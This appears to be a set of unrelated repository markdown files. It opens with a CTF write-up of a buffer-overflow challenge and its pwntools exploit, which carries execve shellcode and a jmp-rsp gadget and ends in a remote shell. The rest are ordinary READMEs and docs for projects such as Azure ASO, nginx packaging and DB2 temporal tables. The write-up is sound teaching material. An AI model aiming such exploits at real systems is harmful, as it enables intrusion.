text:
# X-MAS CTF 2020

## Naughty?

> 50
>
> You haven't been naughty, have you?
>
> Target: `nc challs.xmas.htsp.ro 2000`
>
> Author: Th3R4nd0m
>
> [naughty.zip](naughty.zip)

Tags: _pwn_ _x86-64_ _bof_ _rop_ _shellcode_ _remote-shell_

## Summary

Constrained space shellcode exploit triggered with a relative jump--_naughty_.

## Analysis

### Checksec

```
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
```

No mitigations in place.  Choose your own adventure.

### Decompile with Ghidra

```c
undefined8 main(void)
{
  char local_38 [46];
  short local_a;

  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  local_a = -0x1b01;
  puts("Tell Santa what you want for XMAS");
  fgets(local_38,0x47,stdin);
  puts("Nice. Hope you haven\'t been naughty");
  if (local_a != -0x1b01) {
    puts("Oh no....no gifts for you this year :((");
    exit(0);
  }
  return 0;
}
```

Vulnerability `fgets(local_38,0x47,stdin)` is writing up to `0x47` bytes into a `46` byte buffer that is `0x38` (`local_38`) bytes from the return address.  Along they way `local_a` must be set to `-0x1b01`--_think hardcoded canary_.

To overflow the return address we'll have to send `0x38 - 0xa` (46) bytes of garbage followed by the 2 bytes `-0x1b01` to pass the check, followed by `0x38 - (0x38 - 0xa) - 2` (8) more bytes of garbage.  The total payload to get to the return address should be `0x38` (56) bytes in length.

`fgets` reads one less than size (`0x47`) giving a max ROP overflow of `0x46 - 0x38` (14) bytes.  That's only enough space for one ROP call (well, two ROP calls since (as of this writing) x86_64 addresses are 48-bits (6 bytes)).  And there's no easy `win` function.

Given NX is disabled the natural place to write shellcode would be in `local_38`, as long as that code fits within 46 bytes (easy).

_But how do we call it?_

Simpler challenges like this conveniently leave `rax` pointing to the buffer and a simple `call rax` or `jmp rax` gadget can be used, however setting a checkpoint at `leave` and examining the registers illustrates we're on our own:

```
➜ 20.04 naughty # gef chall
Reading symbols from chall...
(No debugging symbols found in chall)
GEF for linux ready, type `gef' to start, `gef config' to configure
80 commands loaded for GDB 9.2 using Python engine 3.8
gef➤  b *0x4006d4
Breakpoint 1 at 0x4006d4
gef➤  run
Starting program: /pwd/datajerk/xmasctf2020/naughty/chall
Tell Santa what you want for XMAS
flags
```

After the break:

```
$rax   : 0x0
$rbx   : 0x00000000004006e0  →   push r15
$rcx   : 0x00007ffff7ed21e7  →  0x5177fffff0003d48 ("H="?)
$rdx   : 0x0
$rsp   : 0x00007fffffffe360  →  0x00000a7367616c66 ("flags\n"?)
$rbp   : 0x00007fffffffe390  →  0x0000000000000000
$rsi   : 0x00007ffff7fad723  →  0xfaf4c0000000000a
$rdi   : 0x00007ffff7faf4c0  →  0x0000000000000000
$rip   : 0x00000000004006d4  →   leave
$r8    : 0x24
$r9    : 0x0
$r10   : 0x00007ffff7fef320  →   pxor xmm0, xmm0
$r11   : 0x246
$r12   : 0x0000000000400550  →   xor ebp, ebp
$r13   : 0x00007fffffffe480  →  0x0000000000000001
$r14   : 0x0
$r15   : 0x0
```

However, `rsp` is pointing at our input (`flags`), _why not `jmp rsp`?_

Well, `si` once and you'll see that `leave` just _left_ you hanging:

```
$rax   : 0x0
$rbx   : 0x00000000004006e0  →   push r15
$rcx   : 0x00007ffff7ed21e7  →  0x5177fffff0003d48 ("H="?)
$rdx   : 0x0
$rsp   : 0x00007fffffffe398  →  0x00007ffff7de80b3  →  <__libc_start_main+243> mov edi, eax
```

`rsp` now pointing to back to libc.  This will be popped into `rip` (we didn't overwrite the return address yet).

If we overwrite the return address with a `jmp rsp` gadget, that call will be popped off the stack and `rsp` pointed to the next down stack line (our last 6 bytes), then `rip` will be pointing to the `jmp rsp` gadget.  So, that leaves us (14 - 8 (for the `jmp rsp`)) 6 bytes for our shellcode.

There's not a lot you can do with 6 bytes but perhaps `jmp` someplace else (I could be wrong), in any case, we only need 2 bytes to relatively jump back `0x40` (`0x38` + 8 for the `jmp rsp` gadget) bytes to the start of `local_38` where we can easily fit some shellcode.

> As I write this I'm wondering if there is an easier ROP chain of 2 gadgets, but nothing is coming to mind.  When I worked on this I did some bad mental math and thought I only had `4` bytes to work with, so assumed `jmp rsp`, then some type stack pivot or relative jump in assembly.

## Exploit

```python
#!/usr/bin/env python3

from pwn import *

binary = context.binary = ELF('./chall')
context.log_level = 'INFO'

if args.REMOTE:
    p = remote('challs.xmas.htsp.ro', 2000)
else:
    p = process(binary.path)

# http://shell-storm.org/shellcode/files/shellcode-905.php
shellcode  = b''
shellcode += b'\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf'
shellcode += b'\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54'
shellcode += b'\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05'

jmp_rsp = list(binary.search(asm('jmp rsp')))[0]

```

`ropper --file chall` reveals there's a `jmp rsp` gadget, so after finding online some shellcode <= 46 bytes in length, we just need to find the location of the `jmp rsp` gadget within `chall`, and since `chall` has no PIE, there's no need to leak a base process address.

```python
payload  = b''
payload += shellcode
payload += (0x38 - 0xa - len(payload)) * b'A'
payload += p16(0x10000 - 0x1b01)
payload += (0x38 - len(payload)) * b'A'
payload += p64(jmp_rsp)
payload += asm('jmp $-0x40')

p.sendlineafter('for XMAS\n', payload)
p.interactive()
```

The payload is basically as described in the analysis section above:

1. write out shellcode
2. pad out to stack offset `0xa`
3. write out the 2-byte _faux_ hardcoded canary `-0x1b01`
4. pad out to the return adddress
5. call the `jmp rsp` gadget, that will then just execute the assembly below it
6. add a 2 bytes of assembly that `jmp` relative back `0x40` bytes to our shellcode

Output:

```bash
# ./exploit.py REMOTE=1
[*] '/pwd/datajerk/xmasctf2020/naughty/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
[+] Opening connection to challs.xmas.htsp.ro on port 2000: Done
[*] Switching to interactive mode
Nice. Hope you haven't been naughty
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ cat /home/ctf/flag.txt
X-MAS{sant4_w1ll_f0rg1ve_y0u_th1s_y3ar}
```

repository: datajerk/ctf-write-ups

repo_name: datajerk/ctf-write-ups


text:
# Weather Plugin

This is a plugin that queries weathers based on the `weather` command.

For example, if you send the message `boteco weather QUERY`, boteco will show results for the given query in the
channel.

license: MIT

repository: ricardozanini/boteco

branch_name: refs/heads/master

extension: md

license_type: permissive

repo_name: ricardozanini/boteco


text:
### video feature extraction

#### I3D feature extraction requirements:
- tensorflow-gpu==1.14
- dm-sonnet-gpu==1.32
- opencv-python

#### ResNet-152 feature extraction requirements:
- PyTorch
- Torchvision

Note the video features released at
[tvr_feature_release.tar.gz](https://drive.google.com/file/d/1j4mVkXjKCgafW3ReNjZ2Rk6CKx0Fk_n5/view?usp=sharing)
is extracted from 15 FPS frames, which is not publicly available
(we only released [3 FPS frames](http://tvqa.cs.unc.edu/download_tvqa.html#tvqa-download-4)).

repository: jayleicn/TVRetrieval

gha_language: Python

gha_license_id: MIT

repo_name: jayleicn/TVRetrieval


text:
# Get Your Job
Personal site using Node.js and React.

## Objectives
Learn Node.js, React and the main packages.

### Prerequisites

What things you need to install the software and how to install them

* Debian
* Node.js
* React

### Running

Run "npm start" inside personal-site folder.

## Built With
* [Node.js](https://nodejs.org/) - JavaScript runtime server
* [React](https://reactjs.org/) - JavaScript library for building interfaces

## Screenshots

* Homepage

![Homepage](https://raw.githubusercontent.com/gubtos/personal-site/master/screenshots/getYourJobWeb.png)

* Dialog

![Dialog](https://raw.githubusercontent.com/gubtos/personal-site/master/screenshots/getYourJobDialog.png)

* Mobile

![Mobile](https://raw.githubusercontent.com/gubtos/personal-site/master/screenshots/getYourJobMobile.png)

## Authors

* **Gustavo Okuyama** - *Software Development and Design* - [gubtos](https://github.com/gubtos)

## License

This project is licensed under the MIT License - see the [LICENSE](https://raw.githubusercontent.com/gubtos/personal-site/master/LICENSE) file for details

repository: gubtos/personal-site

gha_language: JavaScript

repo_name: gubtos/personal-site


text:
# Top Glove at risk of being removed from KLCI — AllianceDBS

Published at: **2019-11-04T05:23:12+00:00**

Author: **Chong Jin Hun**

Original: [The Edge Markets](https://www.theedgemarkets.com/article/top-glove-risk-being-removed-klci-%E2%80%94-alliancedbs)

KUALA LUMPUR (Nov 4): Top Glove Corp Bhd is at risk of being removed from the FBM KLCI if the rubber glove manufacturer's share price deteriorates further, AllianceDBS Research Sdn Bhd analyst Quah He Wei wrote in a note today.
"The semi-annual review of the (30) KLCI constituents will take place in December 2019 based on closing prices on Nov 30, 2019.
"It (Top Glove) is currently ranked 35th by market capitalisation and will be automatically removed if it falls to 36th or below during the review," Quah wrote.
At Bursa Malaysia's afternoon close today, Top Glove's share price settled up 11 sen or 2.5% at RM4.51 among top gainers. The stock saw 2.49 million shares traded.
At RM4.51, Top Glove has a market capitalisation of RM11.65 billion. At the time of writing this theedgemarkets.com report, Top Glove has not issued a statement in response to AllianceDBS' note.

license: Unlicense

repository: dsadlollioygjmzvcxv/tdc-exported

repo_name: dsadlollioygjmzvcxv/tdc-exported


text:
---
title: Reducing Access
linktitle: Reducing Access
---

## Using a credential for ASO with reduced permissions

Most examples of installing ASO suggest using an identity that has Contributor access to the Subscription.
Such broadly scoped access is _**not**_ required to run the operator, it's just the easiest way to set things up and so
is often used in examples.

Here we discuss a few approaches to restricting the access that the ASO identity has.

### Contributor access at a reduced scope

In some scenarios you may know that ASO will be operating on only certain resource groups. For example, if you have two
teams working in a cluster with ASO, "Marketing" and "Product". If you know ahead of time that the only resource groups these
teams will use are `marketing-dev`, `marketing-prod`, `product-dev` and `product-prod`, you can pre-create the following resources:

* The 4 resource groups.
* An identity for use by ASO, assigned Contributor permission to each of the 4 resource groups.

Now install ASO following the instructions above. Once ASO is installed, adopt the existing resource groups in ASO by applying a YAML in the cluster
for each of the 4 resource groups. Now users of ASO are free to create resources in those resource groups as normal. If they attempt
to use ASO to create a new resource group `foo` they will be rejected by Azure as the ASO identity doesn't have permission to create
arbitrary resource groups in the Subscription.

### Reduced access at Subscription scope

In other scenarios, you may want to give out reduced access at the Subscription scope. This can be done by determining what resources
in ASO you will be using and creating a custom role scoped to just those permissions.

For example if you want to use ASO to manage ResourceGroups, Redis and MySQL flexible servers, but _not_ anything else, you could
[create a role](https://learn.microsoft.com/azure/role-based-access-control/custom-roles-cli) similar to `aso-operator.json`:

```json
{
  "Name": "ASO Operator",
  "IsCustom": true,
  "Description": "Role with access to perform only the operations which we allow ASO to perform",
  "Actions": [
    "Microsoft.Resources/subscriptions/resourceGroups/*",
    "Microsoft.Cache/*",
    "Microsoft.DBforMySQL/*"
  ],
  "NotActions": [
  ],
  "AssignableScopes": [
    "/subscriptions/{subscriptionId1}",
    "/subscriptions/{subscriptionId2}"
  ]
}
```
Then use the az cli to create that custom role definition: `az role definition create --role-definition ~/aso-operator.json`

See [list of resource provider operations](https://learn.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations) for a comprehensive
list of operations.

**Note: We strongly recommend giving full permissions to the resource types ASO will be managing.** ASO needs `read`, `write`, and `delete` permissions to a resource
to fully manage it. In some cases, it also needs `action` permissions. It's recommended to give `*` permissions for a given resource type which ASO
will be managing.

Once the role has been created, assign it to the ASO identity and install the operator as normal. It will be able to
manage any resource of the types you allowed. Any other resources will fail to be created/updated/deleted with a permissions error.

repository: Azure/azure-service-operator

branch_name: refs/heads/main

gha_language: Go

repo_name: Azure/azure-service-operator


text:
# Status of this module
This module is **deprecated**. It is no longer active and not recommended for use. It is left here for reference.

# avocado
An opinionated approach to have type safety in native JavaScript. Also a tasty fruit with megafauna dispersal syndrome, leading to an evolutionary anachronism.

For an introduction have a look here:
http://www.rafelsberger.at/blog/2015/04/an-opinionated-approach-to-have-type-safety-in-native-javascript/

repository: walterra/avocado

repo_name: walterra/avocado


text:
# 🧿 TailwindCSS + Parcel + PostCss Starter Project

A bare-simple [Tailwind CSS](https://tailwindcss.com) + [ParcelJS](https://parceljs.org) boilerplate (without any 🙄git's commit). Uses [Postcss](https://github.com/postcss/postcss) in production builds.

## Getting started

### Create your project folder.

```bash
# create new project
$ npx degit trkhanh/tailwind-parcel-boilerplate example-1
$ cd example-1

# install required packages
$ npm i

# run the app
$ npm start

# build the app
$ npm run build
```

Then just run `npm run dev`, open your favourite text editor and _voilà!_

## Building for production

This projects includes a nice streamlined production flow. You can run either `npm run build` or `npm run prod` to run a production build. Files will end up in `/dist`.

```bash
$ npm run build
```

## Contributing

I'm always open for new ideas. If there's anything you'd like to see added to this project or if you find a bug, don't hesitate to [submit an issue](https://github.com/trkhanh/tailwind-parcel-boilerplate/issues/new) or [send a pull request](https://github.com/trkhanh/tailwind-parcel-boilerplate/pull/new/master).


text:
# Dockerfile for opam-local development

## Build

```
$ docker build -t opam-local .
```

## Run

```
$ docker run -it opam-local
opam@7b7b22c6e27e:~$ opam  --version
1.3.0~dev3
```

## Update

To fetch the latest commits from `opam local` development branch:

```
$ docker run -it opam-local
opam@7b7b22c6e27e:~$ git clone https://github.com/inhabitedtype/opam
opam@7b7b22c6e27e:~$ cd opam
opam@26ca36dfc98c:~/opam$ git checkout local
opam@26ca36dfc98c:~/opam$ ./configure && make lib-ext && make && sudo make install
```

The container now has all the latest commits. You can update the original image
as follows. Open a terminal on the host machine and find the name of the running
container.

```
$ docker ps
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES
898528cf8b04        opam-local          "bash"              2 minutes ago       Up 2 minutes                            sharp_murdock
```

The name of the running container is `sharp_murdock` in this case. Update the docker image as:

```
$ docker commit -m "Update opam-local" sharp_murdock opam-local:latest
```

The `opam-local` image is now updated with the latest changes. If you spin up
the image again, you should see the latest changes:

```
$ docker run -it opam-local
opam@898528cf8b04:~$ ls
opam
```

## Develop

You can also mount your opam development repo (located at `$(PWD)/opam` on your host machine) in the container as follows:

```
$ docker run -it -v $(PWD)/opam:/opam opam-local
```

You can now build opam in the container.

```
opam@7b7b22c6e27e:~$ cd /opam/
opam@7b7b22c6e27e:/opam$ ./configure && make lib-ext && make && sudo make install
```

license: ISC

repository: kayceesrk/docker-files

repo_name: kayceesrk/docker-files


text:
# Elasticsearch, Logstash and Kibana (ELK Stack)
This is a simplified docker (compose) project to boot up the ELK Stack.

**So, what is the ELK Stack?** "ELK" is the acronym for three open source projects: Elasticsearch, Logstash, and Kibana.
Elasticsearch is a search and analytics engine. Logstash is a server‑side data processing pipeline that ingests data from
multiple sources simultaneously, transforms it, and then sends it to a "stash" like Elasticsearch. Kibana lets users
visualize data with charts and graphs in Elasticsearch.
For more information please read [ELK Stack](https://www.elastic.co/what-is/elk-stack).

`Note: You may not use this stack in production!`
## Setup
For custom configurations you may look at the config folders and read
[Get started with Docker](https://www.elastic.co/guide/en/elastic-stack-get-started/current/get-started-docker.html).

To start the Stack execute the lines below.
```bash
$ git clone https://github.com/CSalih/docker-elk-stack.git
$ cd docker-elk-stack
$ docker-compose up -d
```

Now you can connect to http://localhost:5601/ to access the Kibana UI.
You may login with `elastic` and `passwd`.

`Note: Boot time of Kibana may took a bit`

repository: CSalih/docker-elk-stack

repo_name: CSalih/docker-elk-stack


text:
nginx 1.24.0 for macOS
======================

This project builds a signed and notarized macOS universal installer package
for [`nginx`][1], a widely used and capable HTTP and proxy server.  It contains
the source distributions of nginx 1.24.0, [PCRE2 10.42][2] and [zlib 1.2.13][3].

[1]: https://nginx.org "nginx"
[2]: http://www.pcre.org
[3]: https://www.zlib.net

## Prerequesites

A recent version of Xcode and the [`jq`][4] command are needed to build and
notarize this installer package.  An [Apple Developer][5] account is required
to generate the credentials needed to sign and notarize.

[4]: https://stedolan.github.io/jq/
[5]: https://developer.apple.com

## Building

The [`Makefile`][6] in the project root directory builds the installer package.
The following makefile variables can be set from the command line:

- `APP_SIGNING_ID`: The name of the
    [Apple _Developer ID Application_ certificate][7] used to sign the
    `nginx` executable.  The certificate must be installed on the build
    machine's Keychain.  Defaults to "Developer ID Application: Donald
    McCaughey" if not specified.
- `INSTALLER_SIGNING_ID`: The name of the
    [Apple _Developer ID Installer_ certificate][7] used to sign the
    installer.  The certificate must be installed on the build machine's
    Keychain.  Defaults to "Developer ID Installer: Donald McCaughey" if
    not specified.
- `NOTARIZATION_KEYCHAIN_PROFILE`: The name of the notarization credentials
    stored on the build machine's Keychain.  Use the `notarytool
    store-credentials` command to create this profile.  Defaults to "Donald
    McCaughey" if not specified.
- `TMP`: The name of the directory for intermediate files.  Defaults to
    "`./tmp`" if not specified.

[6]: https://github.com/donmccaughey/nginx_pkg/blob/master/Makefile
[7]: https://developer.apple.com/account/resources/certificates/list

To build and sign the executable and installer, run:

        $ make [APP_SIGNING_ID="<cert name 1>"] [INSTALLER_SIGNING_ID="<cert name 2>"] [TMP="<build dir>"]

Intermediate files are generated in the temp directory; the signed installer
package is written into the project root with the name `nginx-1.24.0.pkg`.
To notarize the signed installer package, run:

        $ make notarize [NOTARIZATION_KEYCHAIN_PROFILE="<profile name>"] [TMP="<build dir>"]

This will submit the installer package for notarization and staple it on
success.  Check the file `$(TMP)/notarization-log.json` for detailed
information if notarization fails.  The signed installer is stapled in place
if notarization succeeds.  Use the command:

        $ xcrun stapler validate --verbose nginx-1.24.0.pkg

to check the notarization state of the installer package.

To remove all generated files (including the signed installer), run:

        $ make clean

## Signing and Notarizing Credentials

Three sets of credentials are needed to sign and notarize this package:
- A "Developer ID Application" certificate (for signing the `nginx` executable)
- A "Developer ID Installer" certificate (for signing the installer package)
- An App Store Connect API key (for notarizing the signed installer)

The two certificates are obtained from the [Apple Developer portal][8]; use the
[Keychain Access app][9] to create the certificate signing requests.  Add the
certificates to the build machine's Keychain.

The App Store Connect API key is obtained from the [App Store Connect site][10].
After the key is created, get the _Issuer ID_ (a UUID), the _Key ID_
(an alphanumeric string) and download the API key, which comes as a file named
`AuthKey_<key id>.p8`.  To add the API key to the build machine's Keychain,
use the `store-credentials` subcommand of `notarytool`:

        $ xcrun notarytool store-credentials "<keychain profile name>" \
            --key ~/.keys/AuthKey_<key id>.p8 \
            --key-id <key id> \
            --issuer <issuer id> \
            --sync

The `--sync` option adds the credentials to the user's iCloud Keychain.

[8]: https://developer.apple.com/account/resources/certificates/add
[9]: https://help.apple.com/developer-account/#/devbfa00fef7
[10]: https://appstoreconnect.apple.com/access/api

## License

The installer and related scripts are copyright (c) 2023 Don McCaughey.
`nginx` and the installer are distributed under a BSD-style license.
See the LICENSE file for details.


text:
# ADONIS AUTH API

> This is the backend of Nuxt-Auth [AdonisJS](https://adonisjs.com/). It uses **AdonisJS v4.1**.

## Setup

Run the command below to install dependencies

```bash
$ npm install
```

### Environment variables

Duplicate `.env.example` in 2 files one called `.env` and the other `.env.testing`.

### Migrations

To setup your database. Create 2 database files in the database folder one called `adonis.sqlite` and the other `adotest.sqlite`

To setup e-mail functionality you can create a [Mailtrap](https://mailtrap.io/) account. From the Mailtrap settings you can copy the port, username and password.

Enter the following in `.env` file

```
HOST=localhost
WHOST=localhost
PORT=1000
WPORT=3000
NODE_ENV=development
APP_NAME=Adomail
APP_URL=http://${HOST}:${PORT}
WEB_URL=http://${WHOST}:${WPORT}
CACHE_VIEWS=false
APP_KEY=
DB_CONNECTION=sqlite
DB_DATABASE=adonis
HASH_DRIVER=bcrypt
SMTP_HOST=smtp.mailtrap.io
MAIL_USERNAME=
MAIL_PASSWORD=
FB_CLIENT_ID=
FB_CLIENT_SECRET=
FB_REDIRECT_URL=http://${HOST}:${PORT}/api/authenticated/facebook
GOOGLE_CLIENT_ID=
GOOGLE_CLIENT_SECRET=
GOOGLE_REDIRECT_URL=http://${HOST}:${PORT}/api/authenticated/google
```

Enter the following in `.env.testing` file

```
HOST=localhost
PORT=4000
NODE_ENV=testing
DB_CONNECTION=sqlite
DB_DATABASE=adotest
```

Run this command to generate a key for the app.

```bash
$ adonis key:generate
```

Run the following command to run migration.

```bash
$ adonis migration:run
```

Seed the database:

```bash
$ adonis seed
```

To run the tests:

```bash
$ adonis test
```

Finally, start the application:

```bash
$ adonis serve --dev
```

repository: adwinmbd/login-adonis-api

repo_name: adwinmbd/login-adonis-api


text:
# generator-web-starter

The ```Web Starter Kit``` is a [yeoman](http://yeoman.io/) generator developed and maintained by [Forum One](http://forumone.com/). It allows you to:

1. Create a drupal, angularjs or wordpress project.
2. Add a default theme like the gesso theme.
3. Add common preconfigure common utilities like grunt tasks, capistrano or puppet.

## Installing
1. Install the [Yeoman CLI](https://github.com/yeoman/yo) tool (if you don't already have it) -- note that you may need to run this as a user with elevated privileges:
  ```sh
  npm install -g yo
  ```

2. Install the generator -- note that you may need to run this as a user with elevated privileges:
  ```sh
  npm install -g generator-web-starter
  ```

To update your version of `generator-web-starter`, run:
```sh
npm install -g generator-web-starter
```

## Using `generator-web-starter`
After installing, navigate to the directory that will contain the new project and run:
```sh
yo web-starter
```
This will bring up an interactive menu for setting up your new web-starter project.

repository: NemesisVex/generator-web-starter

repo_name: NemesisVex/generator-web-starter


text:
# RainbowRedux

RainbowRedux is an attempt to remake the engine for the original Rainbow Six games. This project is not a remake of the game, and does not distribute game content. You require the original game to play. You can pick up a copy from ebay or [GOG.com](https://www.gog.com/game/tom_clancys_rainbow_six)

This repository holds the Unreal Engine project.

## Discord / Community

If you'd like to discuss this project more and hear the latest info, please join us on .

## Setup / Prereqs

* Install Python 3.7 from [here](https://www.python.org/downloads/release/python-376/) (I recommend the 64 bit version)
  * Make sure to select custom install, and tick every option for "all users" so it installs to C:\Program Files\Python37
* Install git and git-lfs (These should install with SourceTree, GitKraken, or GitHub Desktop)
* Install Unreal Engine 4.23 through the Epic Games launcher.
* Clone this repository
* Run Setup.bat to clone the extra dependencies and copy files to the correct spot
* Double click the RainbowRedux.uproject file

## Project information

### Asset, coding and naming standards/conventions

* Python code should be Python 3.7 compatible, mostly adhering to the PEP8 standard
* Unreal assets and C++ code should mostly adhere to the following standards
  * [Unreal Coding Standards](https://docs.unrealengine.com/en-US/Programming/Development/CodingStandard/index.html)
  * [Allars' UE4 Style Guide](https://github.com/Allar/ue4-style-guide)

### Layout

This project uses 3 repositories together.

* RainbowRedux(This repository)
* [RainbowSixFileReaders (Python library containing the majority of data loading code)](https://github.com/RainbowRedux/RainbowSixFileConverters)
  * This is cloned in Content\Scripts
* [UnrealEnginePython (Unreal plugin providing python environment and binding)](https://github.com/boristsr/UnrealEnginePython)
  * This is cloned in Plugins\UnrealEnginePython

If you are interested in working on this project you will probably only ever need to look at the first 2 repos.

Due to the need for some developers to use their own forks of repositories I have not set these up as submodules, rather these can be cloned through the setup.bat step. Please change this file, or re-clone these repositories manually as appropriate. (Don't forget to copy PIL like in setup.bat)

## Unreal Engine Version

This project is currently based on Unreal Engine 4.23. The 2 main factors that will cause this project to lag behind the latest unreal version is:

* time involved in upgrading a project. It's not always a quick operation.
* Support from UnrealEnginePython. The last official support is for 4.23, with community maintained branches for 4.24.

I am planning to upgrade the project to 4.25 on release, provided there is support from a community branch of UnrealEnginePython, as this will give more stable ray tracing support.

## Git LFS notes

This project uses git lfs for binary files. This could get expensive over time so please try not to commit excessively large files.

* Do not submit any copyrighted files.
* Do not submit any files that are created from copyrighted files.

repository: boristsr/RainbowRedux

repo_name: boristsr/RainbowRedux


text:
# FFmpeg Download

Here are some download links for ffmpeg. If you are a more advanced user, feel free to get a more recent version, these links are simply here for convenience. Whatever you do, **be sure to download the GPL version**.

Both of these website offer nightly builds (their usually have weird numbers in the name) and stable builds (with nice version number like '4.3.1'). Stable versions are recommended.

* [Windows](https://github.com/BtbN/FFmpeg-Builds/releases/) : Download recent stable version with "win64-gpl-shared" in the name.
* [MacOS](https://www.osxexperts.net/) : Be sure to pick the right CPU type! (Intel/Apple Silicon)

On Linux, simply use your favorite package manager. You should be able to figure it out.

repository: BleuBleu/FamiStudio

gha_language: C#

repo_name: BleuBleu/FamiStudio


text:
---
describes: Table
---

Note that the `caption` prop is required for accessibility. If you would
rather hide the caption, wrap it inside a
[ScreenReaderContent](#ScreenReaderContent) component.

```js
---
example: true
---
<Table
  caption={<ScreenReaderContent>Some great records</ScreenReaderContent>}
>
  <thead>
    <tr>
      <th scope="col">Band</th>
      <th scope="col">Best Album</th>
      <th scope="col">Best Song</th>
      <th scope="col">Record Label</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <th scope="row">Beach House</th>
      <td>Depression Cherry</td>
      <td>Zebra</td>
      <td>Sub Pop</td>
    </tr>
    <tr>
      <th scope="row">Pixies</th>
      <td>Surfer Rosa</td>
      <td>Debaser</td>
      <td>4AD</td>
    </tr>
    <tr>
      <th scope="row">Falco</th>
      <td>Falco III</td>
      <td>Rock Me Amadeus</td>
      <td>Capitol Europe</td>
    </tr>
  </tbody>
</Table>
```

### Table style variants

Use the `striped` prop to give the table row- or column-stripes. The `size`
prop changes the font-size and cell padding of the table. Turn on the `hover`
prop to get highlight the row the user is hovering over. Use the `margin`
prop to add space around the table.

```js
---
example: true
---
<Table
  caption="Some great records"
  size="large"
  hover
  striped="rows"
  margin="x-large none"
>
  <thead>
    <tr>
      <th scope="col">Band</th>
      <th scope="col">Best Album</th>
      <th scope="col">Best Song</th>
      <th scope="col">Record Label</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <th scope="row">Fleetwood Mac</th>
      <td>Rumors</td>
      <td>Songbird</td>
      <td>Island</td>
    </tr>
    <tr>
      <th scope="row">R.E.M.</th>
      <td>Dead Letter Office</td>
      <td>Hairshirt</td>
      <td>Warner Bros.</td>
    </tr>
    <tr>
      <th scope="row">Modest Mouse</th>
      <td>Lonesome Crowded West</td>
      <td>Doin' the Cockroach</td>
      <td>Epic</td>
    </tr>
  </tbody>
</Table>
```

```js
---
example: true
---
<Table
  caption={<ScreenReaderContent>Some great records</ScreenReaderContent>}
  size="small"
  striped="columns"
  margin="small none large none"
>
  <thead>
    <tr>
      <th scope="col">Band</th>
      <th scope="col">Best Album</th>
      <th scope="col">Best Song</th>
      <th scope="col">Record Label</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <th scope="row">Fleetwood Mac</th>
      <td>Rumors</td>
      <td>Songbird</td>
      <td>Island</td>
    </tr>
    <tr>
      <th scope="row">R.E.M.</th>
      <td>Dead Letter Office</td>
      <td>Hairshirt</td>
      <td>Warner Bros.</td>
    </tr>
    <tr>
      <th scope="row">Modest Mouse</th>
      <td>Lonesome Crowded West</td>
      <td>Doin' the Cockroach</td>
      <td>Epic</td>
    </tr>
    <tr>
      <th scope="row">Supergrass</th>
      <td>I Should Coco</td>
      <td>Caught by the Fuzz</td>
      <td>Parlophone</td>
    </tr>
    <tr>
      <th scope="row">Guided by Voices</th>
      <td>Under the Bushes Under the Stars</td>
      <td>Don't Stop Now</td>
      <td>Matador</td>
    </tr>
  </tbody>
</Table>
```

repository: aaronshaf/instructure-ui

repo_name: aaronshaf/instructure-ui


text:
---
title: "Temporal Support"
id: "temporal-support"
---
---

DB2 has an inbuilt support for temporal or time-based data management. The temporal features in the DB2 product enable you to accurately track information and data changes over time and provide an efficient and cost-effective way to address auditing and compliance requirements, without having to specifically code for the same.

WaveMaker extends support for auditing and history using DB2 Temporal. You can seamlessly integrate the temporal functionality within WaveMaker apps and take advantage of DB2’s in-built time-based data management. In this document, we elaborate how WaveMaker achieves this support. For a use case example, [refer to this document](/learn/how-tos/working-with-temporals/).

## Understanding Temporal

Temporal allow the insertion, update, deletion, and query of data in the past, the present, and the future while keeping a complete history of "what you knew" and "when you knew it".

There are three types of temporal tables supported by DB2:

### System-period temporal tables
System-period temporal tables to allow for tracking the updates and deletes to the table rows over a period of time. This is achieved through:
    - A master table with a system time period defined - the table includes additional timestamp columns to hold the system time period start and end points and transaction timestamps.
    - An associated history table created as a duplicate of the master table.
    - This history table is entirely managed by the database to track and manage multiple versions of data from the master table.
    - System Temporal are mostly used for scenarios wherein you need to track, say, the policy updates for a vehicle over a period of time.

### Application-period temporal tables
Application-period temporal tables help in tracking business time i.e. when certain business conditions are, were, or will be valid. This is achieved through:
    - The table itself maintains business period information with additional business start and end time columns to track the business times.
    - Without a need to maintain a separate history table.
    - Queries allowing time range clauses like As Of a given date, Between and From-to two dates on the business period.
    - Application Temporal can be used to trace, say the interest rates applicable over a period of time in past or future.

### Bitemporal tables
Bitemporal tables manage both system time and business time and combine all the capabilities of system-period and application-period temporal tables.

For more details on DB2 Temporal refer to [A matter of time: Temporal data management in DB2 10](https://www.ibm.com/developerworks/data/library/techarticle/dm-1410temporal-tables-db2zos/index.html).

## Temporal Support in WaveMaker

When a DB2 database is imported, WaveMaker identifies the data tables with Temporals and allows for extraction of history data for those tables.

Two types of APIs are generated for temporal tables:

1. **The standard APIs** for CRUD operations and other functionalities like count, find, filter etc. These APIs can be used to deal with data that is valid at the current time i.e. at the time of application run.
2. **The period APIs** to fetch data for
    - a time different from the current time, or
    - for a specific time period.

[![](/learn/assets/dbtemp_apis.png)](/learn/assets/dbtemp_apis.png)

## Database Designer

- In DB designer a table property specifies the table **Temporal Type** as:

    - System Temporal,
    - Application Temporal, or
    - Bi Temporal

[![](/learn/assets/dbtemp_tables.png)](/learn/assets/dbtemp_tables.png)

- A column property, **Temporal Column Type**, specifies the temporal type and the period type. The values can be:
    - System Period Start
    - System Period End
    - Application Period State
    - Application Period end
- A clock icon will be displayed against columns which are part of temporals. These fields will not be displayed in the query results. You can uncheck the Hidden property in order to view these fields in the UI.

[![](/learn/assets/dbtemp_columns.png)](/learn/assets/dbtemp_columns.png)

- By default system period columns and transaction id are marked as Database defined. The values need not be entered by the user, they will be auto-populated by the database.

